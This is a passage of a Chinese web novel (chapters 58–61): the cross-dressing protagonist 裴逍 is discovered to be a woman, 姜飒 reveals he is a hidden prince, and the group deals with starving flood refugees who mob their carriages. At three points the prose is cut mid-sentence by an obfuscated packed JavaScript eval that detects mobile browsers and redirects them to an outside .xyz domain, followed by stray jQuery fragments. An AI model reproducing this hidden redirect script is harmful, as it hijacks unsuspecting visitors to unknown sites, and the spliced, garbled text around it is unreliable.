裴逍思索了下当前境况,提议道,“慕卿和阮先生那里人多,我们先到此处往东的香鹿山接了姜飒,然后到村子里安顿了这位夫人和孩子,再到芒砀山与阮先生他们会合吧。”
其他三人也都认同如此安排,便划着小船先到了香鹿山。
他们的小船还没靠岸,便见姜飒连声喊着,“阿逍,阿逍”,跑下了山。在他身后,两个护卫急急慌慌地跟着。
“阿逍,你怎么趁我睡着偷偷离开呢?你不知道自己身上还有伤吗?”姜飒一路跑上船,冲到了裴逍面前。
裴逍无奈道,“不碍事。”
“你啊你啊。”姜飒叹了口气。
几人动身往村落划去。
·
村子里,有处富户家中房舍较多,热情地给他们安排了下处休息。
几人稍作歇息,安顿了那夫人和孩子,从村落里买了几只船,往那芒砀山而去。
谁知等他们到那芒砀山上,却只有慕卿、曦月、林致远及几个随从在。
思卿一上岸,便与曦月哭诉,“曦月,我没追到当归。”
曦月安慰道,“不急,安王府的护卫不是追去了吗?他们应该都会没事的。我们等等消息吧。”
慕卿与裴逍几人解释道,“我们是收到平王府随从的消息,避到这山上的。等水势稳下来,平王府那边便安排了船只将人都接回郑州了。我们怕你们找来,找不到我们,所以就没走。”
“平王府消息原来这么灵通?”姜飒嘀咕了一句。
“嗯。”慕卿应道,“亲王不能从政,但可经商。三皇叔虽然行事荒唐,但他的亲随里有极为擅长经商的,所以平王府的铺子遍及大夏,消息灵通也正常。尤其这次夏清泽出来了,三皇叔估计交待了自家所有铺子沿路关照他。”
“那我们现在要去郑州吗?”百里摇光问。
慕卿道,“我觉得不如到你们之前安顿的村落里去,之前阮先生有交待,如果走散了就在洛阳会合。再回去郑州,一来耽误时间和脚程,二来也有可能和他们刚好错开碰不上。”
于是,他们一道又回了村落,歇息在富户家中。
由于人多,一人一间不够,便安排了两人一间。慕卿和百里摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800046|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光一间,思卿、曦月一间,
裴逍折腾了一夜,本就受了伤,又淋雨奔波的,身体有些吃不消了。她担心自己的身份暴露,便主动提了和几人当中最信任的姜飒一间。祁青阳和林致远一间。其余仆从占了三间。
·
裴逍到了房间里,便有些撑不住坐到了床边,歪靠着一侧。
姜飒见裴逍状态不好,伸手在她额头探了探。
“哎呀,好烫!我去村里找个大夫来吧。”
裴逍神志还是清醒的,她担心身份暴露,便道,“不必,休息一会就好。”
“那你至少先把湿衣服换下来。”
“嗯。”裴逍有气无力地应了一声。
姜飒接过小厮拿来的从村里借来的衣物,叫小厮出去,关上了门。他将衣物递给裴逍,见裴逍虚弱无力的模样,便道,“阿逍,我帮你换吧”。
裴逍听闻,像是突然来了精神,连忙接过衣物说了句,“不必。”
姜飒有些哭笑不得,随即想起裴逍身有隐疾一事,便道,“我在门外守着,换好叫我。”说完,他便带上门出去了。
裴逍这才松了口气,强撑着身体赶忙换下了湿的衣物,裹胸布已经湿透,也没有可换的,裴逍便仍旧穿在身上,只将外面的衣物换掉。换好衣物后,裴逍收整换下的湿衣服,突然一阵晕眩,昏了过去。
姜飒见裴逍许久未唤他进门,心中奇怪。他在门外连喊了几声裴逍,都没听到任何回应,便推门进入,见裴逍昏倒在床前的地面上。
“阿逍!”他急喊一声,冲到床前。
见裴逍没有任何反应,姜飒忙将裴逍抱起,放到了床上,口中急吼吼地喊他的小厮,“小游,小游!”
“世子,怎么了?怎么了?”小游慌忙赶进来问道。
姜飒仍焦急盯着裴逍,与小游道,“你去村里找个大夫来!”
小游见裴逍已昏过去,房中也没其他人,便几步走近姜飒,低声道,“世子,暗卫中的御三通医术,不妨叫他出来看。”
姜飒听此,便低声唤道“御三。”
话音落,一玄衣男子瞬间出现在了屋中,向姜飒抱拳下跪,道“属下在。”
而此人,正是之前在林子里,让裴逍先行,留下抵挡杀手的其中一个护卫。
“你会医术?”
“属下略通医术。”
“你来给裴公子诊治下。”
“是”。御三走近,坐在小游递来放在床边的凳上,给裴逍诊起了脉。
姜飒看着御三诊着诊着突然皱起了眉,神情有些奇怪,心急问道,“很严重吗?”
“不是,”御三回应,说着,他又拿过裴逍另一只手臂,诊脉片刻后一脸凝重地放了下来。
“到底怎么了?”姜飒问道。
“世子,裴公子是因为受伤没好好处理,再加上劳累淋雨受寒才导致昏厥,本是严重的,不过裴公子身子底子好,又年轻,倒无大碍,只是需要把伤处理好,好好休养一下。我开方子,吃几服药,应该就能退了热。只是那伤口需要妥善处理下,免得恶化。”
姜飒松了口气道,“那你那副模样吓我作甚?算了,你先开方子吧。”
御三听闻并未立即起身,而是仍坐在凳子上,神情犹豫,姜飒见此,便问,“还有什么?直说就是。”
御三方才回道,“世子,这裴公子,并非公子。”
59. 第59章
姜飒一时没反应过来,喃喃重复了“并非公子”几个字,突然想到裴逍之前的一些异常行为,问道,“你是说他是个——”说到这,他将声音压低,接着道,“女子?!”
“正是。”
姜飒怔住了。裴逍虽然长得清隽,身形比他瘦小一些,但他从来没怀疑过她的身份。因为裴逍实在太强大了。一年前,裴逍只身带着他逃离刺客追杀,还以身犯险,引开追兵。在书院中,裴逍文武双全,机敏睿智又有才情,此次出游,更是带着他脱离险境,还奔波救其他同伴。这样的人,竟然是个女子?!
而他,竟然是被一个女孩子保护了这么多次。
小游听闻也是震惊非常,见他主子久久没回过神来,便出声提醒,“世子”。
姜飒方才反应过来,说道,“御三,你先开方子,小游煎药。裴公子的身份,你们不可透露给任何人。”
“遵令。”二人回道。
两人待要退下,姜飒又补充了一句,“包括皇兄。”
小游和御三离开后,姜飒久久注视着昏睡中的裴逍,脑子里闪过万千思绪,突然莫名道了句,“我也想保护你。”
话音落,敲门声突然响起,沉浸在自己思绪中的姜飒,被这声音吓了一跳。
他慌忙起身,看了看裴逍哪里有不妥,将被子往上盖了盖,方才打开了门。
门外是百里摇光。
“裴逍呢?”百里摇光问。
“阿逍她伤没好,又淋雨奔波受了风寒,方才晕倒了,眼下正昏睡呢。”
百里摇光眼中浮起忧色,他侧了侧头,透过姜飒,看到裴逍躺在床上,便想要进屋看看裴逍。姜飒抬手拦住,说道,“她现在好不容易睡着了,让她好好休息吧。”
百里摇光顿住,想着姜飒所说也有道理,便道,“那我等他醒了再来看他。辛苦你照顾他了。”
说完他便转身往自己住的屋子走,没走几步,他又回头道,“裴逍那伤口得好好处理下,不然会严重的。你会处理伤口吗?”
姜飒拍了下脑门,心道多亏百里摇光提醒,他震惊于裴逍的身份,还没给裴逍处理伤口,再耽误下去可不好,忙道,“交给我!”说完,他便迅速关上了门。
百里摇光眉头动了动,总觉得姜飒今日有些奇怪。
裴逍醒来的时候,已是第二日清晨。她闻到一股浓浓的药味,低头看了下腰上已换了干净的棉布,心中暗道不好。她想到这,便撑着身子要坐起来,腰上伤口隐隐作痛,身体也还虚弱无力,挣扎了一会她方才坐起。
“阿逍,你醒了。”姜飒听到动静,从床下探出颗脑袋来问,倒是吓了裴逍一跳。
裴逍轻出了一口气,往床外侧看,见床下铺着被褥,姜飒坐在上面。
“我在你床边打地铺。听到你醒了,我就起来了。”姜飒道。
裴逍轻摇了摇头,突然想到她身份的事情,便又看回姜飒,问“你请了大夫?”
姜飒明白裴逍的担忧,忙解释道,“阿逍,我的仆从有会医术的,没去村子里找,你放心。你的身份,我会保守秘密的,我的仆从也不会对外透漏。”他又抬起手,一副要发誓的模样接着道,“还有你的伤口,我只掀开你后腰伤处的衣裳处理的,绝没有多看什么。”说着,他的脸渐渐有些红了。
裴逍盯着姜飒看了一会,见他眼中一派真诚,裴逍放下了审视和戒心。此前,她便想到了这次可能会暴露身份,只有姜飒和其仆从知晓,这已经是最好的结果了。她轻叹口气,道了声,“多谢。”
“阿逍,你与我之间,真的不必如此见外。”姜飒望着裴逍无奈道。
“咚咚”,门外突然响起了敲门声。“世子,是我。”紧接着,小游的声音在门外响起。
“进来。”
小游端着药进来。姜飒接过药碗,坐在床边打算喂裴逍喝药。
“我自己来。”裴逍道。
姜飒递给裴逍,裴逍接过,试了下温度,不太烫了,便仰头一口喝掉。药味苦涩,她眉头轻蹙,闭眼忍耐片刻,睁开眼,见姜飒递来一枚吃食。
“吃个梅子解解苦味”。
裴逍接过吃下,确实好了许多。
姜飒见裴逍秀眉展开,将一包梅子都递了过来。
裴逍吃着那梅子,回想起昨日遇袭一事,问道,“你在林子里的那几个护卫回来了吗?”
姜飒神情暗了暗,“回来了两个。”
“那些杀手到底是什么人?可有线索?”
“燕息说,那些人行动果决,有组织规划,像是专门豢养的刺客暗卫一流,而且没留下任何能体现身份的线索,不知是什么人派来的。阿逍,你说这些人会不会与难凉寨的那些人是一道的?”姜飒看向裴逍问。
裴逍凝眉思索片刻道,“昨日的杀手,我觉得是两拨人。第一拨从客栈掳走你,并没有立即伤你性命。而第二拨出现的杀手却是出手狠辣,想要斩尽杀绝的,与一年前,在难凉寨的那些杀手行事相仿,倒像是同一批人。”
“那就是说除了那批人,还有其他人想杀我。”姜飒喃喃道。
裴逍低了眉眼,心中沉思。姜飒的仆从竟然还会医术,先前在林中出现的那几个玄衣男子,武功高强,也不像是一般的护卫。且这几个人之前并没有在姜飒的护卫中见过。姜飒的小厮小游和姜飒形容身形相似,似乎也是在必要时刻做姜飒的替身保护他的。此外,还有武功高强、出手狠辣的杀手数次追杀姜飒。裴逍想不通,姜飒作为温国公嫡孙,还是个喜欢玩乐的无知少年,究竟对什么人造成了威胁,要被如此追杀,又需要如此时刻做好守卫防备。
她见小游退了出去,盯着姜飒问道,“你有没有什么要告诉我的?”
姜飒听裴逍这么说,眼神一闪,低下了头,静默半晌,开口道,“阿逍,对不起。我不是有意瞒你的。只是这件事,事关重大。皇兄曾多次叮嘱我不得跟别人说,且说知道了身份的人反而可能有危险,所以我才一直没跟你说。”
“皇兄?”听到这,裴逍突然想起了之前在书院中姜飒饿晕的那次,裴逍背他去医舍,当时姜飒昏睡中呓语的便是这两个音,当时她没听清,现在才对上。只是称当今圣上为皇兄,难道姜飒的身份是亲王?可还健在的亲王年纪上也并不符啊。
姜飒抬头,见裴逍面上没有愤怒,只有疑惑,便接着道,“可是,这次我又将你牵连到危险之中,如果还不告诉你,我实在心有不安。”
“不错,我需要知道真相,就算是死,也得做个明白鬼。”
姜飒解释道,“阿逍,其实我不是温国公的嫡孙,而是他的外孙,也就是先帝和姜皇后之子,七皇子夏晏河”。
裴逍惊住,原来姜飒是这样的身份,那屡次有杀手刺杀便不奇怪了。这么说来,一年前难凉寨被屠灭,可能也是因为受姜飒身份的牵连,而刺杀姜飒的幕后黑手很可能也是屠灭难凉寨的真凶了。
“当年,父皇病重,太子兄长被刺杀,北狄入侵,朝局不稳,皇兄作为六皇子,虽与我不是同母所出,但他却也是从小在母后身边长大,太子兄长已被刺杀,他担心我的安全,便和温国公通气,将我隐姓埋名藏在了江南,对外宣称已经病夭。”
“一直到去年,不知身份怎的泄露了。有人买通了我的仆从,想要害我。那仆从得知后却另生他意,想掳掠我要挟获得更多财物。于是,我便被那仆从一路挟持着北上。那仆从被杀手围追,慌不择路,一路向北走到了朔州。在难凉寨外,我们被刺客追上,幸而遇到薛大当家和裴二当家,我的性命才得以保全。”
“但是我在难凉寨的事,也被刺客知道了,难凉寨被牵连,你救了我。随后皇兄派来的暗卫找到了我,将我接到了长安。温国公是我母后姜皇后的父亲,长子姜珏和次子姜琛,也就是此前你见过的刑部侍郎,是我母后的弟弟,也是我的舅舅。从那后,我便寄名在舅舅家,以温国公嫡孙的身份示人。”
“说来也奇怪,在京中从没有杀手刺杀,一出了京,就又有杀手杀来了。”姜飒想起这茬突然疑惑道。
“皇上可有怀疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800047|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的对象?”裴逍问。
“皇兄没与我说过,但我猜测可能是其他几位亲王,但究竟是谁,一直都没查到。”
裴逍心想,追杀姜飒之人定是对皇位有所觊觎,几位被剥夺了实权的亲王自然是嫌疑最重的,但是姜飒即便公开身份,也只是个亲王,按理不应该是其他亲王最视为威胁的对手,虽然不排除此人心狠手辣,想提前消灭所有潜在对手,但裴逍却认为另外有两拨势力更有可能。
“当今皇后和林贵妃都诞有皇子对吗?”裴逍问道。
“没错。”姜飒应了一声,突然意识到什么,与裴逍道,“你是说,皇嫂和林贵妃也有可能派人刺杀我?”
“从利害关系上分析是这样,他们都有可能。我想皇上想必也猜到了,只是他也不愿意相信,又怕你多心,才没有讲。”起先,其实裴逍第一个怀疑的是皇上,因为皇上非先皇后亲子,对其最有威胁的怕就是姜飒这个幼弟,但他如果想对姜飒下手,在姜飒十三岁之前大有机会,况且如果没有他保护,姜飒早已殒命,那么绝不会是他。
“原来是这样。不过不管怎么样,我都是相信皇兄的。从我记事起,便没有什么亲人,只有一个兄长在远远的关照我。他虽然和我不是一个母亲,但是却比亲兄弟不差的。他常常说,是因为太子兄长和母后对他好,他才会如此对我。我对太子兄长和母后都没有什么印象,对于我来说,皇兄就是我的亲兄长。”姜飒说道。
“嗯。”裴逍没再说什么,不过心里却在想,皇上虽不会对姜飒下手,但是他的皇后和妃子却未必了。刺杀姜飒的真凶关系到难凉寨上下百余人的冤仇,裴逍势必要查清楚。
过了会,姜飒怏怏不乐地说,“阿逍,我想我还是由护卫带着先回长安,不与你们同路吧,跟你们一起总是连累你们陷入险境。那背后之人不知什么时候还会再派杀手来,我不想连累你们。”
裴逍轻叹了口气,如果只有她一人还好说,但是还有祁青阳、夏慕卿、百里摇光他们,他们尚不知真相,连累他们陷入危险却不应当。只是师傅和父亲被害前曾令薛泽和她护这人周全,或许可能也是知道了他的真实身份,出于忠义所为,那她也该遵师傅和父亲遗命。
想到此,裴逍说道,“等到洪水退了,我们到洛阳去休整一下。洛阳是大城,想那些杀手不会如此肆无忌惮,到洛阳传信回去请皇上派人来接更为稳妥,等接你的人到了,我与你一道回去。”
姜飒听到最后一句,似不敢置信,愣了片刻,高兴地道,“阿逍,你说你陪我回去吗?”
裴逍无奈道,“你这条命如此金贵,我不想让那么多人白死,你要死也死在我之后吧。”
姜飒听闻,两只杏眸深深望着裴逍,久久不语。他想到难凉寨救他的大当家、大夫人,二当家、少年薛泽等人,还有一年前护着他一路到京中和此次出游遭遇刺杀为护他而死的护卫、暗卫,以及一年前救了他,现今又屡次舍身相救的裴逍,不免震动感伤,又觉得心里有愧。自己何德何能,让这些忠义之士为自己而牺牲?无非是点皇室血脉。他文墨不通、武艺不行,无才无德,有什么好金贵的?他倒是觉得那些人都比自己有用,那些人的命都比自己金贵才是。
裴逍难得见姜飒深沉忧伤,心想让姜飒早日明白一些事也好,身在皇室,太过单纯实在危险,更遑论他早已是别人的眼中钉肉中刺了。她便也没说话,从旁边拿了本书来看。
裴逍看了一会余光感觉有东西从空中滴落地面,抬头一看,见姜飒双眼含泪,神情沮丧,鼻头都红了。她摇了摇头,轻声道,“你哭什么?”
姜飒才回过神来,拿衣袖擦了擦眼泪,带着鼻音说道,“阿逍,我太没用了,我根本就不配你们这样护着我。”
裴逍叹了口气,看着姜飒认真说道,“你如果真这么想,那不如努力让自己配得上那些人的付出,也不枉他们为你殚精竭虑、奔走牺牲。”
姜飒大为震动,喃喃问“我可以吗?”
“这不该问我,而该问你自己,也只能问你自己。”
60. 第60章
几人在村子里休整了几日,安王府派去救林曦月婢女的护卫也找了来,他们一行人重新聚齐。雨也停了,他们向村民采购了车马物资后,便启程往洛阳行去。他们此次所搭救的夫人,正好也是要带着孩子去洛阳找其夫君,便搭了他们的马车,一同上路。
出发没多久,他们便见到了不少流民,三三两两、携老扶幼地往洛阳的方向走着。流民大多衣衫褴褛、面黄肌瘦,可以看出已经有些时日没有饱餐休整了。
姜飒何曾见过这阵仗,起初看到几个时,他还以为只是行乞的人,一路向前,流民越来越多,向来爱说话的他,都沉默了。看着那些人,有的穿着破漏的草鞋,有的甚至连鞋子都没有,赤脚赶着路,他只觉得自己脚上的新鞋在扎着他,身下的马车也觉得坐不住了。
同坐在马车里的林致远,心头也大为震撼。他眉宇深锁,不住叹气,脑子里琢磨着,这样的情况朝廷应该如何赈灾救济。
夏慕卿骑着马,走在前面一辆马车旁边,也没比姜飒和林致远好多少,虽然他博览群书,早就在书卷之上知道了“陶尽门前土,屋上无片瓦”、“朱门酒肉臭,路有冻死骨”的生民之悲,但是真正置身于百姓之中,才体会到那些诗词一点没有夸张。
百里摇光也骑着匹马,走在马车的另一边。他长于北塞,与普通百姓之间的距离到底比京城里长大的少年要近一些,但是数量这么多且集中的流民,他也是第一次见。在军中习惯了规矩和秩序的他,不禁有些担忧,会不会发生什么混乱?
祁青阳坐在后面一辆马车外驾车的位置上,时不时地叹息几声。灾民他自然不是第一次见,可是如此多的灾民,现在的他除了感慨民生多艰,长叹几声,也做不了什么。
裴逍因为受了伤,在众人的坚持下,坐了马车。她生长于民间,到底比其他几个京中长大的世家公子小姐们见得多些。“安得广厦千万间,大庇天下寒士俱欢颜。”她心里头念着这诗句,轻叹了一声。
“天啊,竟然有这么多灾民!”思卿从前面的马车里探出头,不停张望,虽然从不曾亲眼见过这场面,但也猜出应该是此次大水中受灾的百姓。
曦月闻声也探头来看。
马车外几步远,一个老婆婆领着个男童,本想与马车中人乞要些吃食,因见马车旁都是些骑马带武器的男子,便不敢靠近,这时见马车里探出两个仙女似的小姑娘,忍不住拉着男童走近车窗喊道,“两位小姐行行好吧。老身和孙子已经两天没有吃东西了,能不能给我们点吃食?”
曦月见那老婆婆头发花白,全身打满布丁,仍旧补不住所有的破损之处。那男童脸色黄绿,本就瘦的小身板套在不合身的大衣服中显得更加瘦弱了,两只黑黑的小脚丫也不知道有没有被磨破磕破,只有一双大眼睛,直直地看着她,让她感觉到了那孩子的希冀。
曦月眼圈泛红,扭头与思卿说道,“我们帮帮她们吧。”思卿也是这么想,两人一拍即合,叫婢女取了车内面饼干粮,递给了老婆婆。
安王府的护卫素知郡主行事风格,那祖孙俩看着也不像歹人,所以在她们靠近时便没阻拦,百里摇光、夏慕卿自然也不会阻拦。
姜飒在后面马车里探出头,看见前面一幕,感慨道,“这也就只能暂时帮一个两个,这么多灾民,怎么帮得完啊?”
那老婆婆颤巍巍地接过吃食,不住俯身道谢,“谢谢菩萨小姐”、“谢谢菩萨小姐”。
“婆婆您不必多礼。快带您孙子去食用吧。”曦月道。
那婆婆“诶诶”应道,拉着孙子,停下脚步,没再跟着马车走了。
后面裴逍、姜飒、林致远和祁青阳乘坐的马车徐徐从她们身旁而过。
他们往前刚走了一会儿,后面突然传来方才那老婆婆凄厉的叫喊声。
“放开放开!这是老身孙子的!”
姜飒半个身子都从马车车窗里探了出去,指着后面那抢饼的男子,对护卫喊道,“去拦住那人!”
护卫领命驾马驶近那男子,那男子见护卫气势汹汹而来,张惶地向四周大喊,“乡亲们,前面马车上有好多吃的!快去跟他们要啊!”说着狠命从老婆婆手中拽下一块饼,塞进嘴里,跑开了。
但男子那声,点燃了流民们饥渴许久再也抑制不住的欲望。
护卫察觉到周围的流民开始盯着他们,他震慑性地瞪去,那些人收回了目光,待再扫过去,发现那些流民又盯回了他们,仿佛他们现在就是块肥肉。
一个两个,越来越多的人靠近了他们,还有人拦在马车前挡住了路。
拄着拐的老伯、抱着孩子的妇女、全身赤裸的小孩......
“少爷小姐们赏点吃的吧。”
“贵人们行行好啊。”
“救苦救难的菩萨呀。”
......
思卿、曦月掀起帘连连解释,“对不起,我们没有那么多吃的。帮不了你们。”
马车中,徐夫人不安地抱紧了襁褓中的孩子。
“他们有!不给咱们!抢他们!”人群中突然响起充满戾气的声音。
包围着两辆马车的人失去了理智,蜂拥挤来厮抢。
“天啊,怎么会这样?”姜飒缩回马车里惊叹道,似乎还不敢相信眼前发生的事。
林致远从窗帘缝隙看到外面情形,脑中迅速在想对策。
裴逍一把掀起车帘,见祁青阳和驾马的护卫坐在外面,都快要被人群给扯下马车了。她起身出了马车,摘下绑缚在马车侧面的长枪,横在身前,挡开冲在前面的几个流民,厉声道,“再往前一步,我就不客气了!”
流民见这辆马车上的人不好惹,更多地涌向了前面的马车。
安王府的护卫伸展长臂死死抵着马车门,被流民一根一根掰开手指,眼看就要挡不住了。
“把车内物件都扔出来!”夏慕卿见情况不妙,向马车内喊道。
里面思卿、曦月、两个婢女连忙将车中有的东西都往人群里扔出,人群瞬间涌向那些吃食财物掉落的地方。
夏慕卿、百里摇光趁此间隙,忙将马车中的女眷接出,在最后的思卿的婢女阿剑刚刚跳下马车,哄抢完那些吃食财物
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800048|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人又涌上来围住了马车厮抢,将还没来得及走开的夏慕卿等人挤在了中间。百里摇光和夏慕卿一人护着思卿,一人护着曦月,拼命往外挤。其他人都已经被冲散了。
裴逍在后面马车上看得心焦,但是这车上三个不会武功的,她也放心不下。这时,祁青阳他不知看到了什么,焦急要跳下马车。
裴逍忙拦住他道,“你别冲动!”。
“你看那!”
裴逍顺着祁青阳所指方向,看到混乱之中,有人在抢夺那徐夫人怀中的孩子。
“我去救!这里交给燕护卫了!”裴逍嘱咐一声,将长枪塞给姜飒,跳下了马车。
裴逍使上功夫,用力推开挡住她的人,挤到了那已经抢夺了徐夫人孩子、正在往外挤的中年男子身边,猛踹向其膝盖,趁其吃痛站不稳时,夺回婴儿便回身欲向外挤出。
谁知裴逍刚前进了一步,就被身后一股大力推得向前栽倒,裴逍双手抱着襁褓,再加上四周各个方向人流推挤之力,彻底失去了平衡,摔倒在地上,有人踩在了她的背上,有人跌在她身上,腰上的伤口又涌出了血。
裴逍已经无法起身了,她只能双肘用力在胸前撑出一小块空间,护着婴儿不被压到。骚乱还没平息,拥挤之中,裴逍渐渐有些喘不上气,意识开始涣散。
“阿逍不见了!”姜飒见裴逍淹没于人群,便要冲下马车去找裴逍,被燕息拦住。
祁青阳听见姜飒喊声,也准备跳下马车,被燕息另一只手拦住,“祁公子,这时候您别也添乱了。”
这时百里摇光刚刚护着思卿挤出人群,听到姜飒喊声,让思卿去后面马车,自己施轻功越过人群落到中央的马车顶上。他拔剑出鞘,那“锵——”的剑鸣声还在空中回响之时,他已经一剑削去了整个马车顶部,又跃到了套于车前被人抢夺但还未卸下的马匹之上。
瞬息间,挤踏推搡的人群静了下来,婴儿啼哭声清晰分明地传入所有人的耳中。那声音仿佛有种特殊的魔力,让陷入疯狂的人群静止了。
夏慕卿刚从人群中找出徐夫人安顿好,见此眼疾手快地飞掠至婴儿啼哭声处,捞起裴逍和婴儿,送到了姜飒所在的马车上。
“你们要做灾民?还是要做乱民?”百里摇光端立于马上,愤慨喝道。
流民群中响起了哭声,随即哭声来源越来越多,声音越来越大,汇集成了一大片,被南来的风送出去,响彻于官道之上。闻者伤心,听者落泪。
百里摇光喉头有些哽住,他缓了缓,高声道,“此处灾民今日之伙食,我们来解决。明日你们可以到洛阳府去,相信官府会有赈灾举措。但有一点,今日如再有人趁机劫掠闹事,我必会亲自将送他到洛阳府的监牢里!”
流民们逐渐反应过来,开始向百里摇光道谢,有人跪下给百里摇光磕头,其他人纷纷效仿,最后演变成了众人像拜天神似地朝着立于中央最高处的百里摇光磕头拜谢。
“谢公子大恩大德!”
“公子是观世音在世啊!”
“祝公子长命百岁!”
......
61. 第61章
“天神阿摇,这么多人的伙食咱们怎么解决啊?”夏慕卿看着走近的百里摇光调侃道。
百里摇光在流民们开始跪拜之时,便越出人群避开,来到了姜飒所在的马车前。这时,他听到夏慕卿所说,开口道,“打猎,实在不够的话把马杀了吧。”
说完,他越过夏慕卿去看裴逍的情况,夏慕卿在后面感叹道“唉,让你这家伙说出杀马,真是被逼得不行了。”
百里摇光见那徐夫人抱着孩子坐在一旁担忧地看着裴逍,而一个陌生男子正在给裴逍诊脉,便问,“这人是谁?”
姜飒方才因为担心裴逍身份被揭穿,唤出了会医术的暗卫御三出来给裴逍诊治,已经被祁青阳和林致远看到了,此时也不好遮掩,便回道,“是温国公府的暗卫,外公专门让保护我的。”
“裴逍现在怎么样?”百里摇光见裴逍还未醒来,心中不免担忧。
御三收回诊脉的手,回道,“裴公子是因为人多拥挤无法呼气,所以暂时晕了过去,无大碍,应该过会儿就会醒过来。想必刚才裴公子为了护那婴儿,在踩踏之时,奋力将胸膛撑起,这才不至于胸腹受严重挤压导致窒息、内出血而亡。”
“这么说来,一方面阿逍护了那孩子,另一方面,那孩子也算是护了阿逍?”姜飒惊奇问道。
“正是。还有裴公子腰上的箭伤需要再处理一下。”
这时,裴逍醒转过来。百里摇光一直注视着裴逍,见她睁开了眼,忙问道,“你怎么样?”
裴逍伸出双手活动了一下,慢慢坐起来斜靠在马车上,看了眼徐夫人怀中安睡的婴儿,与众人说道,“只是被踢踩的有些酸痛,没有大碍。”
“谢天谢地,谢天谢地。”徐夫人见裴逍醒来,高兴地念道,说着又要朝着裴逍下拜,“祁公子救我儿免于洪灾,裴公子以身护我儿免被践踏而死,两位公子大恩大德,民女没齿不忘。”
裴逍连忙探身扶住,“夫人快快请起,人见孺子将入井,皆有恻隐之心,更何况方才大夫也说了,我护了那孩子,那孩子也护了我呢。这恩情如何说得清?”
“裴公子——”徐夫人哽咽念道。
“真的没事,夫人不必挂怀。”裴逍回道。
夏慕卿听到裴逍醒了凑过来笑着说,“裴逍,你要没大碍了,正好来帮忙解决下难题吧。”
“难题?”裴逍疑惑地看向他。
“这里所有灾民今日的伙食问题。”夏慕卿见裴逍不解,将她晕倒以后发生的事情简短讲了一下。
裴逍轻轻皱起了眉头,思索片刻后转向旁边道,“姜飒,可否安排护卫先去确认下此处灾民人数?”
“不用麻烦。”夏慕卿说道,“我已经安排人去核计了。”
百里摇光道,“方才我于马车上,对人数有个大致的估量,约莫三百人左右。三百人今日饱餐一顿的口粮,我大概也有个数,按山鸡算的话,有两百只应该足够了。如果能打到野猪的话,一头就够一多半人吃了。”
“行啊你,原来心里已经有底了,害我白担心。”夏慕卿抱起双臂,瞅着百里摇光道。
“百里摇光,我怀疑你从军是做伙夫去了。”姜飒嬉笑着调侃了一句,几人听闻纷纷笑了起来。
唯有裴逍仍蹙着眉头,她在心里核算了下,说道,“我们并没有那么多人可以去打猎。”
一直没开口的林致远,此时说道,“我们可以动员些灾民里会打猎的青壮年一起去。”
“嗯”祁青阳应了一声,接着道,“不过灾民多日食不果腹,怕是没什么力气。”
“如果附近有水源的话,还可以抓鱼烧了吃,就像咱们之前在樊川春游那次。”思卿凑过来提议道。
姜飒“唉”地长叹了一声,说道,“竟然有这么一天,我绞尽脑汁想得,不是今天高兴吃什么,而是想今天有什么能吃?”
几人沉默了半晌。
安王府护卫正好核计完灾民人数,来报,“世子,有二百八十多人,偶尔还会有些路过的灾民听闻加入进来,其中老人和妇孺就有两百三十多人。”
“好,你再去周边探一下,可有水源。”夏慕卿吩咐道。
“这样的话,我们分三组行动吧。”百里摇光道,“一组由我带会打猎的青壮年灾民去林中;一组由青阳组织人到附近有水源的地方去抓鱼;还有一组在这里,由慕卿和林致远主持大局,保护咱们的人,以及安顿灾民,维持秩序,组织人员准备树枝柴火,等猎物一到,就可以清洗烧烤。大家觉得怎么样?”
“我做什么?”裴逍开口问道。
“你身上有伤,刚又伤上加伤,还是好好歇着吧。”百里摇光回应。
裴逍坚决道,“没事,我可以去打猎。”
几人见她坚持要去,便也没再阻拦。
“阿逍,让御三跟你一起去吧。”姜飒本想跟着裴逍,随即想到自己跟着也是拖累,且说不定还会有杀手再来,他在这里,混于灾民之中,又有暗卫保护,才是最安全的。裴逍本就有伤,刚才又在人群中受了踩踏,让武功高强且会医术的御三跟着裴逍,他更放心。
“好。”对于姜飒这次没有非要跟着裴逍,裴逍倒很是意外了一下,不过这样安排当然更好。
“还少弓箭。”裴逍开口道,几人才想起来之前因为困于洪水,出发时带的弓箭基本都遗落了。
姜飒在一旁低声问御三,“你们暗卫里可有弓箭?”
御三恭敬回道,“世子,有三人用弓,每人有十支箭。”
“那你取来吧。”
须臾后,御三肩上背了三个箭囊,手中举着三把弓回来。
“这是府中暗卫的,你们带去打猎吧。”姜飒说道。
“万事皆备。就按这样做吧,现在已经快中午了,留给我们的时间不多了。”夏慕卿道。
